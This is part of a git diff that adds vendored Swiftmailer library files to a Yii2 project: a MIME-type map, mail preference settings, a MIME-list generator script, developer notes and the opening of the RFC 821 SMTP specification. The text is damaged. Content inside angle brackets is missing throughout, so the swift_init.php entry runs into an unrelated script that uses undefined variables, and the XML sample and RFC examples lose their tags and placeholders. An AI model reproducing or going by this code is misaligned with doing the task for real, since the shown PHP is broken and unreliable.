'spl' => 'application/x-futuresplash', + 'spot' => 'text/vnd.in3d.spot', + 'spp' => 'application/scvp-vp-response', + 'spq' => 'application/scvp-vp-request', + 'spx' => 'audio/ogg', + 'sql' => 'application/x-sql', + 'src' => 'application/x-wais-source', + 'srt' => 'application/x-subrip', + 'sru' => 'application/sru+xml', + 'srx' => 'application/sparql-results+xml', + 'ssdl' => 'application/ssdl+xml', + 'sse' => 'application/vnd.kodak-descriptor', + 'ssf' => 'application/vnd.epson.ssf', + 'ssml' => 'application/ssml+xml', + 'st' => 'application/vnd.sailingtracker.track', + 'stc' => 'application/vnd.sun.xml.calc.template', + 'std' => 'application/vnd.sun.xml.draw.template', + 'stf' => 'application/vnd.wt.stf', + 'sti' => 'application/vnd.sun.xml.impress.template', + 'stk' => 'application/hyperstudio', + 'stl' => 'application/vnd.ms-pki.stl', + 'str' => 'application/vnd.pg.format', + 'stw' => 'application/vnd.sun.xml.writer.template', + 'sub' => 'text/vnd.dvb.subtitle', + 'sus' => 'application/vnd.sus-calendar', + 'susp' => 'application/vnd.sus-calendar', + 'sv4cpio' => 'application/x-sv4cpio', + 'sv4crc' => 'application/x-sv4crc', + 'svc' => 'application/vnd.dvb.service', + 'svd' => 'application/vnd.svd', + 'svg' => 'image/svg+xml', + 'svgz' => 'image/svg+xml', + 'swa' => 'application/x-director', + 'swf' => 'application/x-shockwave-flash', + 'swi' => 'application/vnd.aristanetworks.swi', + 'sxc' => 'application/vnd.sun.xml.calc', + 'sxd' => 'application/vnd.sun.xml.draw', + 'sxg' => 'application/vnd.sun.xml.writer.global', + 'sxi' => 'application/vnd.sun.xml.impress', + 'sxm' => 'application/vnd.sun.xml.math', + 'sxw' => 'application/vnd.sun.xml.writer', + 't' => 'text/troff', + 't3' => 'application/x-t3vm-image', + 'taglet' => 'application/vnd.mynfc', + 'tao' => 'application/vnd.tao.intent-module-archive', + 'tar' => 'application/x-tar', + 'tcap' => 'application/vnd.3gpp2.tcap', + 'tcl' => 'application/x-tcl', + 'teacher' => 'application/vnd.smart.teacher', + 'tei' => 'application/tei+xml', + 'teicorpus' => 'application/tei+xml', + 'tex' => 'application/x-tex', + 'texi' => 'application/x-texinfo', + 'texinfo' => 'application/x-texinfo', + 'text' => 'text/plain', + 'tfi' => 'application/thraud+xml', + 'tfm' => 'application/x-tex-tfm', + 'tga' => 'image/x-tga', + 'thmx' => 'application/vnd.ms-officetheme', + 'tif' => 'image/tiff', + 'tiff' => 'image/tiff', + 'tmo' => 'application/vnd.tmobile-livetv', + 'torrent' => 'application/x-bittorrent', + 'tpl' => 'application/vnd.groove-tool-template', + 'tpt' => 'application/vnd.trid.tpt', + 'tr' => 'text/troff', + 'tra' => 'application/vnd.trueapp', + 'trm' => 'application/x-msterminal', + 'tsd' => 'application/timestamped-data', + 'tsv' => 'text/tab-separated-values', + 'ttc' => 'application/x-font-ttf', + 'ttf' => 'application/x-font-ttf', + 'ttl' => 'text/turtle', + 'twd' => 'application/vnd.simtech-mindmapper', + 'twds' => 'application/vnd.simtech-mindmapper', + 'txd' => 'application/vnd.genomatix.tuxedo', + 'txf' => 'application/vnd.mobius.txf', + 'txt' => 'text/plain', + 'u32' => 'application/x-authorware-bin', + 'udeb' => 'application/x-debian-package', + 'ufd' => 'application/vnd.ufdl', + 'ufdl' => 'application/vnd.ufdl', + 'ulx' => 'application/x-glulx', + 'umj' => 'application/vnd.umajin', + 'unityweb' => 'application/vnd.unity', + 'uoml' => 'application/vnd.uoml+xml', + 'uri' => 'text/uri-list', + 'uris' => 'text/uri-list', + 'urls' => 'text/uri-list', + 'ustar' => 'application/x-ustar', + 'utz' => 'application/vnd.uiq.theme', + 'uu' => 'text/x-uuencode', + 'uva' => 'audio/vnd.dece.audio', + 'uvd' => 'application/vnd.dece.data', + 'uvf' => 'application/vnd.dece.data', + 'uvg' => 'image/vnd.dece.graphic', + 'uvh' => 'video/vnd.dece.hd', + 'uvi' => 'image/vnd.dece.graphic', + 'uvm' => 'video/vnd.dece.mobile', + 'uvp' => 'video/vnd.dece.pd', + 'uvs' => 'video/vnd.dece.sd', + 'uvt' => 'application/vnd.dece.ttml+xml', + 'uvu' => 'video/vnd.uvvu.mp4', + 'uvv' => 'video/vnd.dece.video', + 'uvva' => 'audio/vnd.dece.audio', + 'uvvd' => 'application/vnd.dece.data', + 'uvvf' => 'application/vnd.dece.data', + 'uvvg' => 'image/vnd.dece.graphic', + 'uvvh' => 'video/vnd.dece.hd', + 'uvvi' => 'image/vnd.dece.graphic', + 'uvvm' => 'video/vnd.dece.mobile', + 'uvvp' => 'video/vnd.dece.pd', + 'uvvs' => 'video/vnd.dece.sd', + 'uvvt' => 'application/vnd.dece.ttml+xml', + 'uvvu' => 'video/vnd.uvvu.mp4', + 'uvvv' => 'video/vnd.dece.video', + 'uvvx' => 'application/vnd.dece.unspecified', + 'uvvz' => 'application/vnd.dece.zip', + 'uvx' => 'application/vnd.dece.unspecified', + 'uvz' => 'application/vnd.dece.zip', + 'vcard' => 'text/vcard', + 'vcd' => 'application/x-cdlink', + 'vcf' => 'text/x-vcard', + 'vcg' => 'application/vnd.groove-vcard', + 'vcs' => 'text/x-vcalendar', + 'vcx' => 'application/vnd.vcx', + 'vis' => 'application/vnd.visionary', + 'viv' => 'video/vnd.vivo', + 'vob' => 'video/x-ms-vob', + 'vor' => 'application/vnd.stardivision.writer', + 'vox' => 'application/x-authorware-bin', + 'vrml' => 'model/vrml', + 'vsd' => 'application/vnd.visio', + 'vsf' => 'application/vnd.vsf', + 'vss' => 'application/vnd.visio', + 'vst' => 'application/vnd.visio', + 'vsw' => 'application/vnd.visio', + 'vtu' => 'model/vnd.vtu', + 'vxml' => 'application/voicexml+xml', + 'w3d' => 'application/x-director', + 'wad' => 'application/x-doom', + 'wav' => 'audio/x-wav', + 'wax' => 'audio/x-ms-wax', + 'wbmp' => 'image/vnd.wap.wbmp', + 'wbs' => 'application/vnd.criticaltools.wbs+xml', + 'wbxml' => 'application/vnd.wap.wbxml', + 'wcm' => 'application/vnd.ms-works', + 'wdb' => 'application/vnd.ms-works', + 'wdp' => 'image/vnd.ms-photo', + 'weba' => 'audio/webm', + 'webm' => 'video/webm', + 'webp' => 'image/webp', + 'wg' => 'application/vnd.pmi.widget', + 'wgt' => 'application/widget', + 'wks' => 'application/vnd.ms-works', + 'wm' => 'video/x-ms-wm', + 'wma' => 'audio/x-ms-wma', + 'wmd' => 'application/x-ms-wmd', + 'wmf' => 'application/x-msmetafile', + 'wml' => 'text/vnd.wap.wml', + 'wmlc' => 'application/vnd.wap.wmlc', + 'wmls' => 'text/vnd.wap.wmlscript', + 'wmlsc' => 'application/vnd.wap.wmlscriptc', + 'wmv' => 'video/x-ms-wmv', + 'wmx' => 'video/x-ms-wmx', + 'wmz' => 'application/x-msmetafile', + 'woff' => 'application/font-woff', + 'wpd' => 'application/vnd.wordperfect', + 'wpl' => 'application/vnd.ms-wpl', + 'wps' => 'application/vnd.ms-works', + 'wqd' => 'application/vnd.wqd', + 'wri' => 'application/x-mswrite', + 'wrl' => 'model/vrml', + 'wsdl' => 'application/wsdl+xml', + 'wspolicy' => 'application/wspolicy+xml', + 'wtb' => 'application/vnd.webturbo', + 'wvx' => 'video/x-ms-wvx', + 'x32' => 'application/x-authorware-bin', + 'x3d' => 'model/x3d+xml', + 'x3db' => 'model/x3d+binary', + 'x3dbz' => 'model/x3d+binary', + 'x3dv' => 'model/x3d+vrml', + 'x3dvz' => 'model/x3d+vrml', + 'x3dz' => 'model/x3d+xml', + 'xaml' => 'application/xaml+xml', + 'xap' => 'application/x-silverlight-app', + 'xar' => 'application/vnd.xara', + 'xbap' => 'application/x-ms-xbap', + 'xbd' => 'application/vnd.fujixerox.docuworks.binder', + 'xbm' => 'image/x-xbitmap', + 'xdf' => 'application/xcap-diff+xml', + 'xdm' => 'application/vnd.syncml.dm+xml', + 'xdp' => 'application/vnd.adobe.xdp+xml', + 'xdssc' => 'application/dssc+xml', + 'xdw' => 'application/vnd.fujixerox.docuworks', + 'xenc' => 'application/xenc+xml', + 'xer' => 'application/patch-ops-error+xml', + 'xfdf' => 'application/vnd.adobe.xfdf', + 'xfdl' => 'application/vnd.xfdl', + 'xht' => 'application/xhtml+xml', + 'xhtml' => 'application/xhtml+xml', + 'xhvml' => 'application/xv+xml', + 'xif' => 'image/vnd.xiff', + 'xla' => 'application/vnd.ms-excel', + 'xlam' => 'application/vnd.ms-excel.addin.macroenabled.12', + 'xlc' => 'application/vnd.ms-excel', + 'xlf' => 'application/x-xliff+xml', + 'xlm' => 'application/vnd.ms-excel', + 'xls' => 'application/vnd.ms-excel', + 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroenabled.12', + 'xlsm' => 'application/vnd.ms-excel.sheet.macroenabled.12', + 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'xlt' => 'application/vnd.ms-excel', + 'xltm' => 'application/vnd.ms-excel.template.macroenabled.12', + 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', + 'xlw' => 'application/vnd.ms-excel', + 'xm' => 'audio/xm', + 'xml' => 'application/xml', + 'xo' => 'application/vnd.olpc-sugar', + 'xop' => 'application/xop+xml', + 'xpi' => 'application/x-xpinstall', + 'xpl' => 'application/xproc+xml', + 'xpm' => 'image/x-xpixmap', + 'xpr' => 'application/vnd.is-xpr', + 'xps' => 'application/vnd.ms-xpsdocument', + 'xpw' => 'application/vnd.intercon.formnet', + 'xpx' => 'application/vnd.intercon.formnet', + 'xsl' => 'application/xml', + 'xslt' => 'application/xslt+xml', + 'xsm' => 'application/vnd.syncml+xml', + 'xspf' => 'application/xspf+xml', + 'xul' => 'application/vnd.mozilla.xul+xml', + 'xvm' => 'application/xv+xml', + 'xvml' => 'application/xv+xml', + 'xwd' => 'image/x-xwindowdump', + 'xyz' => 'chemical/x-xyz', + 'xz' => 'application/x-xz', + 'yang' => 'application/yang', + 'yin' => 'application/yin+xml', + 'z1' => 'application/x-zmachine', + 'z2' => 'application/x-zmachine', + 'z3' => 'application/x-zmachine', + 'z4' => 'application/x-zmachine', + 'z5' => 'application/x-zmachine', + 'z6' => 'application/x-zmachine', + 'z7' => 'application/x-zmachine', + 'z8' => 'application/x-zmachine', + 'zaz' => 'application/vnd.zzazz.deck+xml', + 'zip' => 'application/zip', + 'zir' => 'application/vnd.zul', + 'zirz' => 'application/vnd.zul', + 'zmm' => 'application/vnd.handheld-entertainment+xml', + '123' => 'application/vnd.lotus-1-2-3', +); diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/preferences.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/preferences.php new file mode 100644 index 00000000..e5195014 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/preferences.php @@ -0,0 +1,25 @@ +setCharset('utf-8'); + +// Without these lines the default caching mechanism is "array" but this uses a lot of memory. +// If possible, use a disk cache to enable attaching large attachments etc. +// You can override the default temporary directory by setting the TMPDIR environment variable. +if (@is_writable($tmpDir = sys_get_temp_dir())) { + $preferences->setTempDir($tmpDir)->setCacheType('disk'); +} + +// this should only be done when Swiftmailer won't use the native QP content encoder +// see mime_deps.php +if (version_compare(phpversion(), '5.4.7', '<')) { + $preferences->setQPDotEscape(false); +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/swift_init.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/swift_init.php new file mode 100644 index 00000000..5c4bae4f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/swift_init.php @@ -0,0 +1,28 @@ + 'application/x-php', + 'php3' => 'application/x-php', + 'php4' => 'application/x-php', + 'php5' => 'application/x-php', + 'zip' => 'application/zip', + 'gif' => 'image/gif', + 'png' => 'image/png', + 'css' => 'text/css', + 'js' => 'text/javascript', + 'txt' => 'text/plain', + 'xml' => 'text/xml', + 'aif' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'avi' => 'video/avi', + 'bmp' => 'image/bmp', + 'bz2' => 'application/x-bz2', + 'csv' => 'text/csv', + 'dmg' => 'application/x-apple-diskimage', + 'doc' => 'application/msword', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'eml' => 'message/rfc822', + 'aps' => 'application/postscript', + 'exe' => 'application/x-ms-dos-executable', + 'flv' => 'video/x-flv', + 'gz' => 'application/x-gzip', + 'hqx' => 'application/stuffit', + 'htm' => 'text/html', + 'html' => 'text/html', + 'jar' => 'application/x-java-archive', + 'jpeg' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'm3u' => 'audio/x-mpegurl', + 'm4a' => 'audio/mp4', + 'mdb' => 'application/x-msaccess', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'mov' => 'video/quicktime', + 'mp3' => 'audio/mpeg', + 'mp4' => 'video/mp4', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'odg' => 'vnd.oasis.opendocument.graphics', + 'odp' => 'vnd.oasis.opendocument.presentation', + 'odt' => 'vnd.oasis.opendocument.text', + 'ods' => 'vnd.oasis.opendocument.spreadsheet', + 'ogg' => 'audio/ogg', + 'pdf' => 'application/pdf', + 'ppt' => 'application/vnd.ms-powerpoint', + 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'ps' => 'application/postscript', + 'rar' => 'application/x-rar-compressed', + 'rtf' => 'application/rtf', + 'tar' => 'application/x-tar', + 'sit' => 'application/x-stuffit', + 'svg' => 'image/svg+xml', + 'tif' => 'image/tiff', + 'tiff' => 'image/tiff', + 'ttf' => 'application/x-font-truetype', + 'vcf' => 'text/x-vcard', + 'wav' => 'audio/wav', + 'wma' => 'audio/x-ms-wma', + 'wmv' => 'audio/x-ms-wmv', + 'xls' => 'application/excel', + 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'xml' => 'application/xml', + ); + + // wrap array for generating file + foreach ($valid_mime_types_preset as $extension => $mime_type) { + // generate array for mimetype to extension resolver (only first match) + $valid_mime_types[$extension] = "'{$extension}' => '{$mime_type}'"; + } + + // collect extensions + $valid_extensions = array(); + + // all extensions from second match + foreach ($matches[2] as $i => $extensions) { + // explode multiple extensions from string + $extensions = explode(" ", strtolower($extensions)); + + // force array for foreach + if (!is_array($extensions)) { + $extensions = array($extensions); + } + + foreach ($extensions as $extension) { + // get mime type + $mime_type = $matches[1][$i]; + + // check if string length lower than 10 + if (strlen($extension) < 10) { + // add extension + $valid_extensions[] = $extension; + + if (!isset($valid_mime_types[$mime_type])) { + // generate array for mimetype to extension resolver (only first match) + $valid_mime_types[$extension] = "'{$extension}' => '{$mime_type}'"; + } + } + } + } + } + + $xml = simplexml_load_string($mime_xml); + + foreach ($xml as $node) { + // check if there is no pattern + if (!isset($node->glob["pattern"])) { + continue; + } + + // get all matching extensions from match + foreach ((array) $node->glob["pattern"] as $extension) { + // skip none glob extensions + if (strpos($extension, '.') === FALSE) { + continue; + } + + // remove get only last part + $extension = explode('.', strtolower($extension)); + $extension = end($extension); + + // maximum length in database column + if (strlen($extension) <= 9) { + $valid_extensions[] = $extension; + } + } + + if (isset($node->glob["pattern"][0])) { + // mime type + $mime_type = strtolower((string) $node["type"]); + + // get first extension + $extension = strtolower(trim($node->glob["ddpattern"][0], '*.')); + + // skip none glob extensions and check if string length between 1 and 10 + if (strpos($extension, '.') !== FALSE || strlen($extension) < 1 || strlen($extension) > 9) { + continue; + } + + // check if string length lower than 10 + if (!isset($valid_mime_types[$mime_type])) { + // generate array for mimetype to extension resolver (only first match) + $valid_mime_types[$extension] = "'{$extension}' => '{$mime_type}'"; + } + } + } + + // full list of valid extensions only + $valid_mime_types = array_unique($valid_mime_types); + ksort($valid_mime_types); + + // combine mime types and extensions array + $output = "$preamble\$swift_mime_types = array(\n ".implode($valid_mime_types, ",\n ")."\n);"; + + // write mime_types.php config file + @file_put_contents('./mime_types.php', $output); +} + +generateUpToDateMimeArray(); diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/APPS b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/APPS new file mode 100644 index 00000000..b06b4cc0 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/APPS @@ -0,0 +1,15 @@ +Applications I need to test with +--------------------------------- + +Standalone (can read .eml files): +--------------------------------- +Microsoft Entourage (can assume same as outlook) +Mozilla Thunderbird +Apple Mail + +Web-based: +---------- +Hotmail +Gmail +Yahoo! +Mail2Web diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/CHARSETS b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/CHARSETS new file mode 100644 index 00000000..6a97a89c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/CHARSETS @@ -0,0 +1,46 @@ +Following is a list of character sets along with their widths: +-------------------------------------------------------------- + +1 Octet 8bit: +------------- +Windows 125* (CP125*) +CP* +ANSI +ISO-8859-* (IEC-8859-*) +Macintosh (Mac OS Roman) +KOI8-U (potentially KOI*8-*) +KOI8-R +MIK +Cork (T1) +ISCII +VISCII + + +1 Octet 7bit: +------------- +US-ASCII +K0I7 + +2 octets 16 bit: +---------------- +UCS-2 +UTF-16* (UTF-16BE etc) + +4-octets 32 bit: +---------------- +UCS-4 +UTF-32 + +Variable-width: +---------------------------- +Big5 - http://en.wikipedia.org/wiki/Big5 (1-2 bytes: 00-7f=1, 81-fe=2) +HKSCS - http://en.wikipedia.org/wiki/HKSCS (a big5 variant, but some variants use 10646) +ISO-10646 (IEC-10646) - http://en.wikipedia.org/wiki/ISO_10646 (unicode) +UTF-8 (1-5 bytes) +ISO-2022 (IEC-2022) - http://en.wikipedia.org/wiki/ISO_2022 +Shift-JIS - http://en.wikipedia.org/wiki/Shift-JIS + +A good resource: +---------------- +http://en.wikipedia.org/wiki/Character_encoding#Simple_character_sets + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/message.xml b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/message.xml new file mode 100644 index 00000000..1183ecaa --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/message.xml @@ -0,0 +1,22 @@ + + + Some test message + chris@w3style.co.uk + mark@swiftmailer.org + chris.corbyn@sitepoint.com + text/plain + + Here's a recipe for beef stifado + + + text/html + + This is the other part + + + + application/pdf + stifado.pdf + /path/to/stifado.pdf + + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc0821.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc0821.txt new file mode 100644 index 00000000..d877b72c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc0821.txt @@ -0,0 +1,4050 @@ + + + + RFC 821 + + + + + + SIMPLE MAIL TRANSFER PROTOCOL + + + + Jonathan B. Postel + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August 1982 + + + + Information Sciences Institute + University of Southern California + 4676 Admiralty Way + Marina del Rey, California 90291 + + (213) 822-1511 + + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + TABLE OF CONTENTS + + 1. INTRODUCTION .................................................. 1 + + 2. THE SMTP MODEL ................................................ 2 + + 3. THE SMTP PROCEDURE ............................................ 4 + + 3.1. Mail ..................................................... 4 + 3.2. Forwarding ............................................... 7 + 3.3. Verifying and Expanding .................................. 8 + 3.4. Sending and Mailing ..................................... 11 + 3.5. Opening and Closing ..................................... 13 + 3.6. Relaying ................................................ 14 + 3.7. Domains ................................................. 17 + 3.8. Changing Roles .......................................... 18 + + 4. THE SMTP SPECIFICATIONS ...................................... 19 + + 4.1. SMTP Commands ........................................... 19 + 4.1.1. Command Semantics ..................................... 19 + 4.1.2. Command Syntax ........................................ 27 + 4.2. SMTP Replies ............................................ 34 + 4.2.1. Reply Codes by Function Group ......................... 35 + 4.2.2. Reply Codes in Numeric Order .......................... 36 + 4.3. Sequencing of Commands and Replies ...................... 37 + 4.4. State Diagrams .......................................... 39 + 4.5. Details ................................................. 41 + 4.5.1. Minimum Implementation ................................ 41 + 4.5.2. Transparency .......................................... 41 + 4.5.3. Sizes ................................................. 42 + + APPENDIX A: TCP ................................................. 44 + APPENDIX B: NCP ................................................. 45 + APPENDIX C: NITS ................................................ 46 + APPENDIX D: X.25 ................................................ 47 + APPENDIX E: Theory of Reply Codes ............................... 48 + APPENDIX F: Scenarios ........................................... 51 + + GLOSSARY ......................................................... 64 + + REFERENCES ....................................................... 67 + + + + +Network Working Group J. Postel +Request for Comments: DRAFT ISI +Replaces: RFC 788, 780, 772 August 1982 + + SIMPLE MAIL TRANSFER PROTOCOL + + +1. INTRODUCTION + + The objective of Simple Mail Transfer Protocol (SMTP) is to transfer + mail reliably and efficiently. + + SMTP is independent of the particular transmission subsystem and + requires only a reliable ordered data stream channel. Appendices A, + B, C, and D describe the use of SMTP with various transport services. + A Glossary provides the definitions of terms as used in this + document. + + An important feature of SMTP is its capability to relay mail across + transport service environments. A transport service provides an + interprocess communication environment (IPCE). An IPCE may cover one + network, several networks, or a subset of a network. It is important + to realize that transport systems (or IPCEs) are not one-to-one with + networks. A process can communicate directly with another process + through any mutually known IPCE. Mail is an application or use of + interprocess communication. Mail can be communicated between + processes in different IPCEs by relaying through a process connected + to two (or more) IPCEs. More specifically, mail can be relayed + between hosts on different transport systems by a host on both + transport systems. + + + + + + + + + + + + + + + + + + + + + + + + +Postel [Page 1] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + +2. THE SMTP MODEL + + The SMTP design is based on the following model of communication: as + the result of a user mail request, the sender-SMTP establishes a + two-way transmission channel to a receiver-SMTP. The receiver-SMTP + may be either the ultimate destination or an intermediate. SMTP + commands are generated by the sender-SMTP and sent to the + receiver-SMTP. SMTP replies are sent from the receiver-SMTP to the + sender-SMTP in response to the commands. + + Once the transmission channel is established, the SMTP-sender sends a + MAIL command indicating the sender of the mail. If the SMTP-receiver + can accept mail it responds with an OK reply. The SMTP-sender then + sends a RCPT command identifying a recipient of the mail. If the + SMTP-receiver can accept mail for that recipient it responds with an + OK reply; if not, it responds with a reply rejecting that recipient + (but not the whole mail transaction). The SMTP-sender and + SMTP-receiver may negotiate several recipients. When the recipients + have been negotiated the SMTP-sender sends the mail data, terminating + with a special sequence. If the SMTP-receiver successfully processes + the mail data it responds with an OK reply. The dialog is purposely + lock-step, one-at-a-time. + + ------------------------------------------------------------- + + + +----------+ +----------+ + +------+ | | | | + | User |<-->| | SMTP | | + +------+ | Sender- |Commands/Replies| Receiver-| + +------+ | SMTP |<-------------->| SMTP | +------+ + | File |<-->| | and Mail | |<-->| File | + |System| | | | | |System| + +------+ +----------+ +----------+ +------+ + + + Sender-SMTP Receiver-SMTP + + Model for SMTP Use + + Figure 1 + + ------------------------------------------------------------- + + The SMTP provides mechanisms for the transmission of mail; directly + from the sending user's host to the receiving user's host when the + + + +[Page 2] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + two host are connected to the same transport service, or via one or + more relay SMTP-servers when the source and destination hosts are not + connected to the same transport service. + + To be able to provide the relay capability the SMTP-server must be + supplied with the name of the ultimate destination host as well as + the destination mailbox name. + + The argument to the MAIL command is a reverse-path, which specifies + who the mail is from. The argument to the RCPT command is a + forward-path, which specifies who the mail is to. The forward-path + is a source route, while the reverse-path is a return route (which + may be used to return a message to the sender when an error occurs + with a relayed message). + + When the same message is sent to multiple recipients the SMTP + encourages the transmission of only one copy of the data for all the + recipients at the same destination host. + + The mail commands and replies have a rigid syntax. Replies also have + a numeric code. In the following, examples appear which use actual + commands and replies. The complete lists of commands and replies + appears in Section 4 on specifications. + + Commands and replies are not case sensitive. That is, a command or + reply word may be upper case, lower case, or any mixture of upper and + lower case. Note that this is not true of mailbox user names. For + some hosts the user name is case sensitive, and SMTP implementations + must take case to preserve the case of user names as they appear in + mailbox arguments. Host names are not case sensitive. + + Commands and replies are composed of characters from the ASCII + character set [1]. When the transport service provides an 8-bit byte + (octet) transmission channel, each 7-bit character is transmitted + right justified in an octet with the high order bit cleared to zero. + + When specifying the general form of a command or reply, an argument + (or special symbol) will be denoted by a meta-linguistic variable (or + constant), for example, "" or "". Here the + angle brackets indicate these are meta-linguistic variables. + However, some arguments use the angle brackets literally. For + example, an actual reverse-path is enclosed in angle brackets, i.e., + "" is an instance of (the + angle brackets are actually transmitted in the command or reply). + + + + + +Postel [Page 3] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + +3. THE SMTP PROCEDURES + + This section presents the procedures used in SMTP in several parts. + First comes the basic mail procedure defined as a mail transaction. + Following this are descriptions of forwarding mail, verifying mailbox + names and expanding mailing lists, sending to terminals instead of or + in combination with mailboxes, and the opening and closing exchanges. + At the end of this section are comments on relaying, a note on mail + domains, and a discussion of changing roles. Throughout this section + are examples of partial command and reply sequences, several complete + scenarios are presented in Appendix F. + + 3.1. MAIL + + There are three steps to SMTP mail transactions. The transaction + is started with a MAIL command which gives the sender + identification. A series of one or more RCPT commands follows + giving the receiver information. Then a DATA command gives the + mail data. And finally, the end of mail data indicator confirms + the transaction. + + The first step in the procedure is the MAIL command. The + contains the source mailbox. + + MAIL FROM: + + This command tells the SMTP-receiver that a new mail + transaction is starting and to reset all its state tables and + buffers, including any recipients or mail data. It gives the + reverse-path which can be used to report errors. If accepted, + the receiver-SMTP returns a 250 OK reply. + + The can contain more than just a mailbox. The + is a reverse source routing list of hosts and + source mailbox. The first host in the should be + the host sending this command. + + The second step in the procedure is the RCPT command. + + RCPT TO: + + This command gives a forward-path identifying one recipient. + If accepted, the receiver-SMTP returns a 250 OK reply, and + stores the forward-path. If the recipient is unknown the + receiver-SMTP returns a 550 Failure reply. This second step of + the procedure can be repeated any number of times. + + + +[Page 4] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + The can contain more than just a mailbox. The + is a source routing list of hosts and the + destination mailbox. The first host in the + should be the host receiving this command. + + The third step in the procedure is the DATA command. + + DATA + + If accepted, the receiver-SMTP returns a 354 Intermediate reply + and considers all succeeding lines to be the message text. + When the end of text is received and stored the SMTP-receiver + sends a 250 OK reply. + + Since the mail data is sent on the transmission channel the end + of the mail data must be indicated so that the command and + reply dialog can be resumed. SMTP indicates the end of the + mail data by sending a line containing only a period. A + transparency procedure is used to prevent this from interfering + with the user's text (see Section 4.5.2). + + Please note that the mail data includes the memo header + items such as Date, Subject, To, Cc, From [2]. + + The end of mail data indicator also confirms the mail + transaction and tells the receiver-SMTP to now process the + stored recipients and mail data. If accepted, the + receiver-SMTP returns a 250 OK reply. The DATA command should + fail only if the mail transaction was incomplete (for example, + no recipients), or if resources are not available. + + The above procedure is an example of a mail transaction. These + commands must be used only in the order discussed above. + Example 1 (below) illustrates the use of these commands in a mail + transaction. + + + + + + + + + + + + + + +Postel [Page 5] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + ------------------------------------------------------------- + + Example of the SMTP Procedure + + This SMTP example shows mail sent by Smith at host Alpha.ARPA, + to Jones, Green, and Brown at host Beta.ARPA. Here we assume + that host Alpha contacts host Beta directly. + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: 250 OK + + S: RCPT TO: + R: 550 No such user here + + S: RCPT TO: + R: 250 OK + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + The mail has now been accepted for Jones and Brown. Green did + not have a mailbox at host Beta. + + Example 1 + + ------------------------------------------------------------- + + + + + + + + + + + + + + + + +[Page 6] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + 3.2. FORWARDING + + There are some cases where the destination information in the + is incorrect, but the receiver-SMTP knows the + correct destination. In such cases, one of the following replies + should be used to allow the sender to contact the correct + destination. + + 251 User not local; will forward to + + This reply indicates that the receiver-SMTP knows the user's + mailbox is on another host and indicates the correct + forward-path to use in the future. Note that either the + host or user or both may be different. The receiver takes + responsibility for delivering the message. + + 551 User not local; please try + + This reply indicates that the receiver-SMTP knows the user's + mailbox is on another host and indicates the correct + forward-path to use. Note that either the host or user or + both may be different. The receiver refuses to accept mail + for this user, and the sender must either redirect the mail + according to the information provided or return an error + response to the originating user. + + Example 2 illustrates the use of these responses. + + ------------------------------------------------------------- + + Example of Forwarding + + Either + + S: RCPT TO: + R: 251 User not local; will forward to + + Or + + S: RCPT TO: + R: 551 User not local; please try + + Example 2 + + ------------------------------------------------------------- + + + + +Postel [Page 7] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + 3.3. VERIFYING AND EXPANDING + + SMTP provides as additional features, commands to verify a user + name or expand a mailing list. This is done with the VRFY and + EXPN commands, which have character string arguments. For the + VRFY command, the string is a user name, and the response may + include the full name of the user and must include the mailbox of + the user. For the EXPN command, the string identifies a mailing + list, and the multiline response may include the full name of the + users and must give the mailboxes on the mailing list. + + "User name" is a fuzzy term and used purposely. If a host + implements the VRFY or EXPN commands then at least local mailboxes + must be recognized as "user names". If a host chooses to + recognize other strings as "user names" that is allowed. + + In some hosts the distinction between a mailing list and an alias + for a single mailbox is a bit fuzzy, since a common data structure + may hold both types of entries, and it is possible to have mailing + lists of one mailbox. If a request is made to verify a mailing + list a positive response can be given if on receipt of a message + so addressed it will be delivered to everyone on the list, + otherwise an error should be reported (e.g., "550 That is a + mailing list, not a user"). If a request is made to expand a user + name a positive response can be formed by returning a list + containing one name, or an error can be reported (e.g., "550 That + is a user name, not a mailing list"). + + In the case of a multiline reply (normal for EXPN) exactly one + mailbox is to be specified on each line of the reply. In the case + of an ambiguous request, for example, "VRFY Smith", where there + are two Smith's the response must be "553 User 